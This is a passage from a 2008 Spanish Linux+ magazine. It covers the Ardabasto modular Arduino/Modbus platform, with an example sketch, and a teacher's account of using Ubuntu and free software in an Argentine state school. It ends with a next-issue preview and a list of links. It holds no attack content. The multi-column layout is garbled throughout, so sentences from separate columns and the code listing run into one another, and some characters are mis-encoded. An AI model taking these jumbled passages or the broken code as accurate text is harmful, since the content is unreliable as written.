incrementar el ámbito geográfico del sistema, digitalWrite(add, pin, value) distribuir las funciones del sistema, etc. int digitalRead(add, pin)

El argumento add es un entero que corresponde a una dirección en la red. Para difundir una acción en la red (orden para todos los dispositivos add = 0x00). El protocolo subyacente que permite utilizar los recursos de un módulo desde otro, de manera natural, es Modbus. Pero esto queda oculto al desarrollador y las funciones se realizan en local o remoto en dependencia de su dirección.

Modbus

Modbus es un protocolo de comunicaciones situado en el nivel 7 del Modelo OSI, basado en la arquitectura maestro/esclavo o cliente/servidor. Aunque fue diseñado en 1979 por Modicon para su gama de controladores lógicos programables (PLCs), con el tiempo se ha convertido en un protocolo de comunicaciones estándar de facto en la industria (goza de mayor disponibilidad para la conexión de dispositivos electrónicos Memoria Analog I/O industriales). Tres son las razones fundamentales Otro complemento fundamental en un sistema por las que el uso de Modbus es superior a otros distribuido es la memoria. La memoria es un int analogRead(add, pin) protocolos de comunicaciones: es público, es dispositivo de almacenamiento masivo que per- analogWrite(add, pin, value) - PWM fácil de implementar (requiere poco desarrollo) mite escribir y leer datos de forma compartida. y maneja bloques de datos sin restricciones. Sus Existen numerosos chips de memora I2C (EE- Advanced I/O principales características son: control de acceso PROM, Flash, etc.). El proyecto Ardabasto, sin al medio tipo maestro/esclavo; el protocolo esembargo, trabaja en el desarrollo de un sistema shiftOut(add, dataPin, clockPin, pecifica: formato de trama, secuencias y control de almacenamiento estándar enchufable com- bitOrder, value) de errores; existen dos variantes en el formato: patible CompactFlash y SmartMedia. unsigned long pulseIn(add, pin, value) ASCII y RTU; sólo especifica la capa de enlace del modelo ISO/OSI; a cada esclavo se le asigna una dirección fija y única en el rango de 1 a 247 y la dirección 0 queda reservada para mensajes de difusión sin respuesta. Existen dos tipos de tramas Modbus: ASCII y RTU; formadas Figura 2. Logo de Adrabasto por cuatro campos: dirección (fuente/destino), función, datos, control de error. La Tabla 4 Listado 1. Ejemplo de lectura analógica y señalización digital distribuida muestra las diferentes funciones que implementa Modbus. Observe que se puede leer y escribir directamente en memoria y/o puertos a nivel de int ledPin = 13; // LED conectado al pin digital 13 bit, grupo de bits, dato o tramas de datos conint analogPin = 3; // potenciómetro conectado al pin analógico 3 secutiva y es muy simple adaptar el protocolo a int val = 0; // variable para almacenar el valor leído cualquier necesidad. Desde el punto de vista de int threshold = 512; // umbral funcionamiento otra característica importante es int local = 1; // dirección del módulo A la protección de datos (lo que asegura que una int remoto = 2; // dirección del módulo B instrucción se ejecutará sólo si es comprendida void setup() correctamente) y la devolución de respuesta { (confirmación de la ejecución de la orden). // establece el pin digital 13 del módulo B como salida pinMode(remoto, ledPin, OUTPUT);

Expansores

}

void loop() {

val = analogRead(local, analogPin);

// lee pin de entrada de A

if (val >= threshold) {

digitalWrite(remoto, ledPin, HIGH); // enciende el LED en B

} else {

digitalWrite(remoto, ledPin, LOW);

// apaga el LED en B

} }

84

Linux+ 9/2008

Ardabasto es un sistema modular que permite crear aplicaciones muy complejas con pocos recursos y distribuir/descentralizar funcionalidades según convenga. Es importante señalar que distribuir no es exactamente sinónimo de descentralizar. Con Ardabasto es posible montar un sistema centralizado (todas las órdenes y procesado se realizan en un módulo mientras que el resto de los módulos actúan como expansores de entrada / salida analógico / digital) o descen-


hardware Ardabasto tralizado (en el cual todos los módulos cooperan entre sí para realizar determinada función global). En este último enfoque cada módulo es un pequeño subsistema especializado que ofrece determinada funcionalidad. La concepción de un sistema grande y complejo se reduce a elegir los subsistemas adecuados e interconectarlos según la interfaz más apropiada; como un sistema LEGO modular y escalar. La Tabla 5 muestra algunas aplicaciones realizadas en forma de expansor para pinchar en Ardabasto.

Robótica La robótica tiende cada vez más a la descentralización en muchos subsistemas, especializados en determinada tarea, que cooperan entre sí armónicamente. Con Ardabasto es posible conectar todos estos subsistemas en redes ina-

En la red • • • • •

http://www.processing.org/ http://www.wiring.org.co/ http://www.arduino.cc/ http://www.ardabasto.org http://www.artcube.es

lámbricas que independizan aún más la labor y distribución de los módulos, a la vez que ofrece conectividad a sistemas de procesamiento de alta potencia (basados en PCs, por ejemplo). La reutilización de los módulos es otro aspecto que acelera el prototipado y el diseño de nuevos desarrollos.

Arte y Tecnología

quisición (inclusive con cierto nivel de redundancia) y de actuación y señalización, a la vez que puede interactuar con sistemas mucho más potentes para la supervisión y/o el control del sistema (SCADA). Es importante destacar que esto puede ser útil a nivel de maqueta o planta piloto porque para operar a nivel industrial se requiere el cumplimiento de ciertas normativas, certificaciones, protocolos de seguridad, etc.

Gracias precisamente a esta rama surgió Processing y con ello Wiring y Arduino. Ardabasto Enseñanza es más que una ampliación de estos conceptos. Ardabasto es un sistema barato y libre ideal para la formación en programación, electrónica, Domótica lógica, circuitos, integración de aplicaciones, El control en edificios y casas inteligentes, para etc. un mejor aprovechamiento de los recursos naturales y cuidado del entorno, es un claro ejem- Conclusiones plo de sistema de proceso distribuido donde Este artículo introduce una nueva plataforma muchos módulos (geográficamente dispersos) para el desarrollo de sistemas distribuidos libre, cooperan entre sí. barata y potente con muchos campos de aplicación en la vida moderna. Control de Procesos Se basa en proyectos, estándares de facto El control de procesos industriales requiere en el entorno Arte y Tecnología, a la vez que normalmente la lectura de muchas variables del amplía su potencialidad incrementando su sistema a controlar, cierto proceso de optimiza- interconectividad. El proyecto es desarrollado ción y la modificación de determinadas varia- y mantenido por GOLEM, que además comerbles para actuar sobre el sistema. Ardabasto cializa el producto (en forma de kit o montado), resulta ideal para montar una gran red de ad- shields y complementos. P

U

B

L

I

C

I

D

A

D


proyectos linux Enseñando con Libertad

Achicando la brecha informática en escuelas estatales argentinas Leonel Iván Saafigueroa

linux@software.com.pl

Alumnos de entre 15 y 18 años pueden elegir hacer una certificación de programación básica; el pilar fundamental de este proyecto fue el software libre, algo que los iguala e integra con el resto del mundo.

86

L

a Educación Polimodal en nuestro país tiene como finalidad la promoción en el alumnado de capacidades para el desempeño en el mundo del trabajo; la teoría y las intenciones de este sistema son buenas, atender principalmente al conjunto de saberes de carácter general necesarios para el desempeño de las más diversas tareas. Luego de varios años y completada la implementación de este sistema, la realidad nos demostró que tanta diversidad hizo que el aprendizaje en los alumnos resultara escaso o nulo al finalizar sus estudios. Hoy nos encontramos con un egresado que no logra insertarse en el mundo del trabajo con facilidad (o si lo hace es en trabajos muy precarios), esto sin contar el fracaso o dificultad al intentar ingresar a una carrera de estudios superiores. Desde 2006 el Ministerio de Educación comenzó a incorporar en escuelas que cuenten con los materiales y los espacios edilicios requeridos, distintos trayectos técnico profesionales, esto es una alternativa viable para extender y universalizar una formación laboral específica contemplada en la legislación vigente, incorporando el desarrollo de itinerarios

Linux+ 9/2008

formativos en las modalidades de: Humanidades y Ciencias Sociales, Economía y Gestión de las Organizaciones, Ciencias Naturales y Comunicación, Arte y Diseño. Los alumnos interesados podrían cumplir una carga horaria a lo largo de los tres años de estudio, sustancialmente inferior a la correspondiente en una tecnicatura, oscilando entre un 30 y un 40 % de la misma. Los trayectos tienen una carga horaria total de 1.908 horas en los tres años de estudio, esto les dará la posibilidad de una formación específica basada especialmente en la práctica en donde la simulación laboral es lo primordial, pues los trayectos fueron incorporados especialmente con la intención de preparar alumnos para el mundo del trabajo. Los que aprueben (de forma paralela a sus estudios) los distintos módulos de los trayectos técnico-profesionales obtendrán una certificación profesional que los diferenciará de aquellos que decidieron no hacerlo. Hay gran variedad de Itinerarios Formativos, según las distintas modalidades de estudios de las escuelas. En este artículo les contaré sobre mi proyecto, y cómo el software libre hizo distinguir a mis alumnos de cualquiera de los otros que usaban software propietario.


proyectos linux Enseñando con Libertad

Primeros pasos

Tengo la suerte de trabajar en una escuela estatal donde se respira un aire joven, en su corta vida fue cuna de muchos proyectos audaces, que hicieron que se distinga del resto, siendo un ejemplo y modelo a seguir. Como docente me encargo por ahora del primer y segundo año de la certificación de programación, dando en primer año el módulo de Instalación y configuración de sistemas Operativos y Aplicaciones, en segundo año ya con una doble carga horaria dos módulos: el de Asistencia sobre la Utilización de Aplicaciones Generales, y el de Desarrollo de programas y manipulación de datos. Nuestro laboratorio de informática cuenta con casi una docena de ordenadores IBM, en los cuales no dudé en preparar en su disco duro una segunda partición para instalar la última versión de Ubuntu, aunque en un principio también trabajamos con GNU-Linux Debian Etch. La matrícula de alumnos siempre es numerosa en los primeros años, teniendo que utilizar incluso una lista de espera por la gran demanda, contamos con cuatro primeros años, dos a la mañana y dos por la tarde; los mismos se unificarán respectivamente en el segundo año, siguiendo la pirámide natural que se da en la educación pues no todos llegan a segundo año, muchos abandonan al descubrir que no es lo suyo, o por otros motivos particulares. La mayoría comienza sin tener nociones básicas de lo que era un sistema operativo, con mucha paciencia, y usando documentales los fui instruyendo, explicándoles lo importante de estos programas para el funcionamiento de los ordenadores. Los bloques temáticos a seguir no solamente tienen en cuenta la instalación de sistemas operativos sino también las distintas implicancias sociales, económicas y culturales, que hacen de la informática una herramienta imprescindible para el mundo del trabajo.

Figura 1. El disco de Ubuntu

De esta manera descubren que un hacker no es un delincuente, y que aquellos que se esfuercen podrán llegar bien lejos, sólo hay que tener determinación; de la misma forma que si estudiaran música, aunque no llegaran a convertirse todos en concertistas, nadie podría negar que saben tocar un instrumento, aquí es lo mismo... algunos se destacarán más que otros, pero todos aprenderán lo mismo. Muchos alumnos de recursos limitados descubrieron en la primera clase los documentos electrónicos (PDF), leyendo en las pantallas de los ordenadores escépticos distintos artículos extraídos de Internet sobre la Informática y el mundo del trabajo. En esa primera clase usamos GNU-Linux, el uso del lector electrónico fue incorporado de manera intuitiva por ellos, demostrando que GNU-Linux no es difícil, y por primera vez algunos alumnos que nunca habían tocado un ordenador daban sus felices primeros pasos con el sistema operativo del pingüino, mientras que otros más experimentados pedían a los gritos ingresar a Windows XP. El trabajo en el aula es sencillo, los mejores alumnos son los encargados de hacer que su

grupo funcione correctamente y que cada uno de los integrantes pueda comprender a su tiempo, pues el objetivo es trabajar con alumnos de distintas capacidades; siempre supervisados por el docente que irá marcando los objetivos que poco a poco tendrán que ir alcanzando a lo largo del año.

¿Windows o GNU-Linux?

Linux se ha convertido, en su corta pero exitosa vida, en el fantasma de aquellos docentes que enquistados no aceptan lo nuevo y prefieren entregarse a las garras del software propietario. En un docente estas malas decisiones se multiplican porque son ellos mismos los que obligan a sus alumnos a usar software comercial, siendo éste casi siempre pirateado, enseñando a sus alumnos algo que en un futuro tendrán que pagar para poder usarlo, salvo que sean tan piratas como el docente y aquí sí, estamos ante una realidad sin futuro, y mucho menos podemos hablar de libertades en la educación. El conocimiento tiene que ser libre, es como la ciencia, y no se puede enseñar algo

En la red • • •

Página oficial de la EEMN2 http://www.eemn2.com.ar/ Proyecto Sistemas Operativos y Aplicaciones en la Diversidad http://eemn2.blogspot.com/2007/06/itinerario-formativo-programacion.html Página oficial de Itinerarios Formativos del Ministerio de Educación http://abc.gov.ar/LaInstitucion/SistemaEducativo/Polimodal/Itinerario/

Figura 2. Alumnos practicando la instalación de "Windows ME" con VMware

www.lpmagazine.org

87


proyectos linux Enseñando con Libertad que no sabemos cómo funciona por dentro.El software libre tiene la ventaja de estar bien documentado, tiene un nivel de madurez que ya iguala y en muchos casos supera al software privativo. Todos los alumnos descubren que tengo cierta simpatía por el sistema operativo del pingüino (como ya pudieron notar), pero a pesar de todo en mi proyecto está perfectamente aclarado que los alumnos tienen que aprender a instalar Windows y GNU-Linux, de ser posible en sus distintas versiones como también saber instalar sus aplicaciones. Esto hace que ellos tengan la libertad de elegir, lo curioso a pesar de todo, es ver cómo se arman guerras de banderas en donde grupos de

alumnos defienden a Microsoft y otros a GNULinux, los mismos alumnos que meses antes no sabían ni qué era un sistema operativo, ¿éxito? En verdad el objetivo es que aprendan cómo ambos sistemas puedan convivir en un mismo ordenador.

como Virtual Box (presente en los repositorios de Ubuntu), o productos completamente libres como Qemu o DosBox, nos permitieron hacer instalaciones desde cero utilizando la distribución Ubuntu Linux como sistema operativo anfitrión. De esta manera desde una segunda partición conseguimos un entorno Virtualización en el completamente limpio dentro de la virtualaboratorio de Informática lización y evitamos meternos con los datos El hecho de trabajar en una escuela publica, de los demás profesores que casi siempre nos obliga a compartir los ordenadores con utilizan la primera partición en donde está los distintos profesores. Una de las solu- instalado Windows XP. ciones encontradas a la hora de tener que experimentar con la instalación de sistema Ubuntu: una esperanza operativos fue la virtualización; productos que llega por correo Es sumamente importante en este proyecto como en cualquier otro que quiera basarse en software libre, no perder las distintas oportunidades que nos aporta Internet, un claro ejemplo es la fundación Canonical, que siempre que pedimos CD-ROMs de Ubuntu los envió gratuitamente, dándole la oportunidad a alumnos que incluso sin ordenadores en sus casas, podían recibirlo haciéndolos sentir parte de esta comunidad libre. Si nos tomamos el tiempo de registrar a cada uno de nuestros alumnos podemos pedir que les envíen gratis CD de Ubuntu, Kubuntu y Edubuntu desde las siguientes direcciones: • • •

https://shipit.ubuntu.com/ https://shipit.kubuntu.com/ https://shipit.edubuntu.com/

En menor medida, pero no menos importante, la gente de SUN Microsystems con cada lanzamiento de Open Solaris, siempre que hicimos los pedidos han enviado gratis copias para que los alumnos puedan experimentar. Pueden hacerlo desde esta página: https://www2.sun.de/ dct/forms/reg_us_2307_228_0.jsp De esta forma los alumnos pueden probar distintos sistemas operativos, sin gastar un centavo y estar actualizados con las últimas versiones.

Figura 3. La foto de la escuela

Recursos en Internet que ayudarán a que las clases sean más entretenidas

Los documentales son una linda forma de ahorrar tiempo y mostrarle a los alumnos cómo eran las cosas hace un par de años, en Google Video podemos encontrar cosas interesantes como: •

Figura 4. El laboratorio de informática en la E.E.M.N.2

88

Linux+ 9/2008

Piratas de Silicon Valley (http://video.g oogle.es/videosarch?q=piratas+de+silico n+valley#). Una excelente película basada en el libro Fire in the Valley: The Making


proyectos linux Enseñando con Libertad

of The Personal Computer, la película Pirates of Silicon Valley cuenta la historia de los principios de Apple y Microsoft. También si buscan Richard Stallman encontrarán entrevistas en castellano del fundador del movimiento del software libre.

Amigos Internacionales

bajando. Pueden ver el vídeo desde: http: por Jimbo Wales y Larry Sanger) nos ayudará //vidasenred.blogspot.com/2008/03/vdeo-edu- mucho con su gran cantidad de artículos, la cativo-sobre-el-eeepc-vid.html misma es plurilingüe y está basada en la tecnología wiki.

Revistas electrónicas

Estar suscripto a esta revista en su versión electrónica u otras gratuitas podrían ser de gran interés para que los alumnos puedan consultar en sus horas libres en el laboratorio. Una reciente revista de Arequipa Cultura Libre, podrá tenernos al tanto de todas las noticias sobre software libre: http: //revista.aqpglug.org.pe/

Mi amigo Julio, desde el blog de tecnologías Vidas en Red (http://vidasenred.blogspot.com/), compañero de momentos inolvidables en la comunidad de Red-Handed, nos envió un vídeo en donde mostraba su flamante Asus EeePC, un vídeo dedicado especialmente para los chicos que cursan la certificación; saber que alguien Wikipedia, la enciclopedia libre piensa en nosotros a muchos kilómetros de Por último esta enciclopedia libre (proyecto distancia nos da siempre ganas de seguir tra- que comenzó el 15 de enero de 2001, fundada

E.E.M.N.2 La Escuela de Educación Media Polimodal Nº2, ubicada en la ciudad de Guernica, partido de Pte. Perón en la provincia de Buenos Aires, es un lugar muy especial, con un fuerte compromiso por parte del cuerpo directivo,docentes, profesores y alumnos. No es una escuela muy grande, pero en su interior se puede observar un verdadero compromiso por conservar desde la primer silla, siguiendo por las paredes en donde no encontraremos nada escrito (algo muy común en colegios estatales y también privados). Todo esto se logró gracias al intenso trabajo en los primeros años en donde las normas de convivencias es un punto clave para que los alumnos comprendan el valor de conservar y cuidar a la escuela que tienen, dejándola a fin de año igual que como empezó. Quizás esta escuela sea una utopía, pero la convierte en una escuela modelo, y aunque más pequeña que sus vecinas, cuenta con distintos talleres que da muchas más opciones para quienes quieran tener un aprendizaje más significativo, desarrollándose en teatro, ajedrez, o pudiendo ir a clases de apoyo en contra turno. La Certificación de Programación Básica de los Itinerarios Formativos fue incorporada en el año 2007, nuestros primeros egresados serán a finales del año 2009.

Objetivos cumplidos, deseos y conclusiones

Los alumnos que lograron llegar al ultimo trimestre del primer año, pueden elegir completar la cursada con un trabajo final dando sus primeros pasos en el diseño gráfico (utilizando GIMP), crear un montaje de audio Podcasts (con Audacity), o simplemente profundizar sus conocimientos en ofimática (con OpenOffice.org); son estos subgrupos los que en el segundo año ayudan a los que no tenían afinidad con estas herramientas a que lleguen a comprenderlas, porque en el módulo Asistencia sobre la Utilización de Aplicaciones Generales, todos deben adquirir las nociones básicas de cada una de las aplicaciones populares y de uso corriente de hoy en día. Incluso hubo un alumno que se interesó en la animación 3D, pudiendo investigar en Internet sobre manuales para la utilización de Blender, obteniendo un buen grado de éxito, siendo muy autodidacta. Es en el segundo año donde comenzaron a dar también sus primeros pasos en la programación, y profundizarán en el tercer y último año, algo que no puedo detallar, pues recién estamos en el segundo año de vida de este proyecto, y que espero ser yo quien pueda continuarlo; quedó demostrado que el software libre, cuando se tiene el apoyo de los directivos y colegas, puede triunfar y mejorar las prácticas docentes. Los alumnos son nuestro futuro, a todos esos docentes que aun tienen miedo al cambio, los invito a investigar, o al menos dejar a sus alumnos que investiguen por ellos, se darán cuenta de que yo elegí el software libre, no porque fuera complicado, por el contrario, al no haber secretos todo es mucho más fácil, la competencia es más sana, y los desafíos y logros quedan para el mundo, no para una compañía que alimentará a unos pocos.

Sobre el autor Leonel Iván Saafigueroa es Analista de Sistemas, docente, radioaficionado (LU5ENP), consultor en informática y conductor del programa de radio libre hispano - Red-Handed Radio (www.red-handed-radio.com.ar). Si quieres hacerle algún comentario, escribe a Leonel@saafigueroa.com.ar

Figura 5. Utilizamos Debian GNU-Linux para simular otros sistemas

www.lpmagazine.org

89


El tema principal del siguiente número de Linux+ será:

Seguridad de Datos El próximo número incluirá los siguientes artículos:

• Cómo escoger la mejor empresa de Hosting

Comparamos nuestras necesidades con la oferta del mercado

• Hosting en Linux

Ventajas y puntos débiles de esta solución

Además en la revista: • FacturaLUX: software orientado a administración, gestión comercial y finanzas • Recuperando archivos con dd & xxd • Virtualización: introducción al concepto • AppEngine: nueva herramienta de Google

DVD: Simplis 9.01 Distribución que quiere llegar a todos y causar que el uso de Linux sea fácil y ameno

La Redacción se reserva derecho a modificar sus planes


Pรกginas recomendadas

www.diariolinux.com

www.elguille.info

www.gatolinux.blogspot.com

www.opensourcespot.org

www.hispabyte.net

www.linuxdata.com.ar

www.linuxhispano.net

www.linuxsantafe.com

www.usla.org.ar

Pรกginas recomendadas www.mundopc.net


Profile for Jarek Zakrzewski

Linux+DVD (Hiszpanski)  

Magazyn poswiecony tematyce linuxowej.

Linux+DVD (Hiszpanski)  

Magazyn poswiecony tematyce linuxowej.

Profile for jjarecki
Advertisement